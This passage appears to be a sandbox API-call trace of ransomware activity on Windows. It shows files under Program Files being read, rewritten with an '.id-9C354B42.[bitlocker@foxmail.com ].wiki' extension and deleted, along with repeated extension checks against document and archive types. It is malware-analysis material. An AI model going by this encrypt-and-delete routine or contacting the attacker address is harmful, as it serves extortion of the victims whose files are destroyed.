lpNewFilePointer=0x0) returned 1 [0046.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.176] GetLastError () returned 0x0 [0046.176] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0046.177] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0046.178] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.178] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0046.179] SetEndOfFile (hFile=0x1b0) returned 1 [0046.179] CloseHandle (hObject=0x1b0) returned 1 [0046.179] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.179] SetEndOfFile (hFile=0x170) returned 1 [0046.180] CloseHandle (hObject=0x170) returned 1 [0046.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0046.180] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString=".doc") returned 4 [0046.181] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0046.181] lstrlenW (lpString=".docx") returned 5 [0046.181] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0046.181] lstrlenW (lpString=".pdf") returned 4 [0046.181] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0046.181] lstrlenW (lpString=".xls") returned 4 [0046.181] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0046.181] lstrlenW (lpString=".xlsx") returned 5 [0046.181] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0046.181] lstrlenW (lpString=".ppt") returned 4 [0046.181] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString=".zip") returned 4 [0046.181] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0046.181] lstrlenW (lpString=".rar") returned 4 [0046.181] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0046.181] lstrlenW (lpString=".bz2") returned 4 [0046.181] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0046.181] lstrlenW (lpString=".7z") returned 3 [0046.181] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString=".dbf") returned 4 [0046.181] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString=".1cd") returned 4 [0046.181] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0046.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.181] lstrlenW (lpString=".jpg") returned 4 [0046.181] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString=".doc") returned 4 [0046.182] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0046.182] lstrlenW (lpString=".docx") returned 5 [0046.182] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0046.182] lstrlenW (lpString=".pdf") returned 4 [0046.182] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString=".xls") returned 4 [0046.182] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString=".xlsx") returned 5 [0046.182] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0046.182] lstrlenW (lpString=".ppt") returned 4 [0046.182] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString=".zip") returned 4 [0046.182] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString=".rar") returned 4 [0046.182] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0046.182] lstrlenW (lpString=".bz2") returned 4 [0046.182] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0046.182] lstrlenW (lpString=".7z") returned 3 [0046.182] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString=".dbf") returned 4 [0046.182] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString=".1cd") returned 4 [0046.182] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0046.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0046.182] lstrlenW (lpString=".jpg") returned 4 [0046.182] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0046.182] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0046.183] lstrlenW (lpString="MS.GIF") returned 6 [0046.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.183] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1069) returned 1 [0046.183] CloseHandle (hObject=0x170) returned 1 [0046.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0046.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.183] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.183] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.183] GetLastError () returned 0x0 [0046.183] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x42d, lpOverlapped=0x0) returned 1 [0046.515] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x430, lpOverlapped=0x0) returned 1 [0046.516] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.518] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0046.518] SetEndOfFile (hFile=0x1b0) returned 1 [0046.518] CloseHandle (hObject=0x1b0) returned 1 [0046.519] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.519] SetEndOfFile (hFile=0x170) returned 1 [0046.519] CloseHandle (hObject=0x170) returned 1 [0046.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0046.520] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0046.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.520] lstrlenW (lpString=".doc") returned 4 [0046.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.520] lstrlenW (lpString=".docx") returned 5 [0046.520] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0046.520] lstrlenW (lpString=".pdf") returned 4 [0046.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.520] lstrlenW (lpString=".xls") returned 4 [0046.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.520] lstrlenW (lpString=".xlsx") returned 5 [0046.520] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0046.520] lstrlenW (lpString=".ppt") returned 4 [0046.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.520] lstrlenW (lpString=".zip") returned 4 [0046.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".rar") returned 4 [0046.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".bz2") returned 4 [0046.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.521] lstrlenW (lpString=".7z") returned 3 [0046.521] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString=".dbf") returned 4 [0046.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString=".1cd") returned 4 [0046.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString=".jpg") returned 4 [0046.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString=".doc") returned 4 [0046.521] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.521] lstrlenW (lpString=".docx") returned 5 [0046.521] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0046.521] lstrlenW (lpString=".pdf") returned 4 [0046.521] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".xls") returned 4 [0046.521] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".xlsx") returned 5 [0046.521] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0046.521] lstrlenW (lpString=".ppt") returned 4 [0046.521] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.521] lstrlenW (lpString=".zip") returned 4 [0046.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".rar") returned 4 [0046.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.521] lstrlenW (lpString=".bz2") returned 4 [0046.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.522] lstrlenW (lpString=".7z") returned 3 [0046.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.522] lstrlenW (lpString=".dbf") returned 4 [0046.522] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.522] lstrlenW (lpString=".1cd") returned 4 [0046.522] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0046.522] lstrlenW (lpString=".jpg") returned 4 [0046.522] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.522] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.522] lstrlenW (lpString="Content.xml") returned 11 [0046.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.564] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=27045) returned 1 [0046.564] CloseHandle (hObject=0x198) returned 1 [0046.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0046.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.564] lstrlenW (lpString=".doc") returned 4 [0046.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.564] lstrlenW (lpString=".docx") returned 5 [0046.564] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.564] lstrlenW (lpString=".pdf") returned 4 [0046.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.564] lstrlenW (lpString=".xls") returned 4 [0046.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".xlsx") returned 5 [0046.565] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.565] lstrlenW (lpString=".ppt") returned 4 [0046.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString=".zip") returned 4 [0046.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.565] lstrlenW (lpString=".rar") returned 4 [0046.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".bz2") returned 4 [0046.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".7z") returned 3 [0046.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString=".dbf") returned 4 [0046.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString=".1cd") returned 4 [0046.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString=".jpg") returned 4 [0046.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.565] lstrlenW (lpString=".doc") returned 4 [0046.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".docx") returned 5 [0046.565] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.565] lstrlenW (lpString=".pdf") returned 4 [0046.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".xls") returned 4 [0046.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.565] lstrlenW (lpString=".xlsx") returned 5 [0046.565] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.565] lstrlenW (lpString=".ppt") returned 4 [0046.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.566] lstrlenW (lpString=".zip") returned 4 [0046.566] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.566] lstrlenW (lpString=".rar") returned 4 [0046.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.566] lstrlenW (lpString=".bz2") returned 4 [0046.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.566] lstrlenW (lpString=".7z") returned 3 [0046.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.566] lstrlenW (lpString=".dbf") returned 4 [0046.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.566] lstrlenW (lpString=".1cd") returned 4 [0046.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0046.566] lstrlenW (lpString=".jpg") returned 4 [0046.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.566] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.566] lstrlenW (lpString="boxed-split.avi") returned 15 [0046.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.611] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=62976) returned 1 [0046.611] CloseHandle (hObject=0x1b8) returned 1 [0046.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0046.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.611] lstrlenW (lpString=".doc") returned 4 [0046.611] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString=".docx") returned 5 [0046.611] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.611] lstrlenW (lpString=".pdf") returned 4 [0046.611] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString=".xls") returned 4 [0046.611] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString=".xlsx") returned 5 [0046.611] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.611] lstrlenW (lpString=".ppt") returned 4 [0046.611] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.611] lstrlenW (lpString=".zip") returned 4 [0046.611] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString=".rar") returned 4 [0046.611] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.611] lstrlenW (lpString=".bz2") returned 4 [0046.612] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".7z") returned 3 [0046.612] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString=".dbf") returned 4 [0046.612] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString=".1cd") returned 4 [0046.612] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString=".jpg") returned 4 [0046.612] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString=".doc") returned 4 [0046.612] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".docx") returned 5 [0046.612] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.612] lstrlenW (lpString=".pdf") returned 4 [0046.612] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".xls") returned 4 [0046.612] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".xlsx") returned 5 [0046.612] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.612] lstrlenW (lpString=".ppt") returned 4 [0046.612] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.612] lstrlenW (lpString=".zip") returned 4 [0046.612] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".rar") returned 4 [0046.612] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".bz2") returned 4 [0046.612] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.612] lstrlenW (lpString=".7z") returned 3 [0046.612] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.613] lstrlenW (lpString=".dbf") returned 4 [0046.613] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.613] lstrlenW (lpString=".1cd") returned 4 [0046.613] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 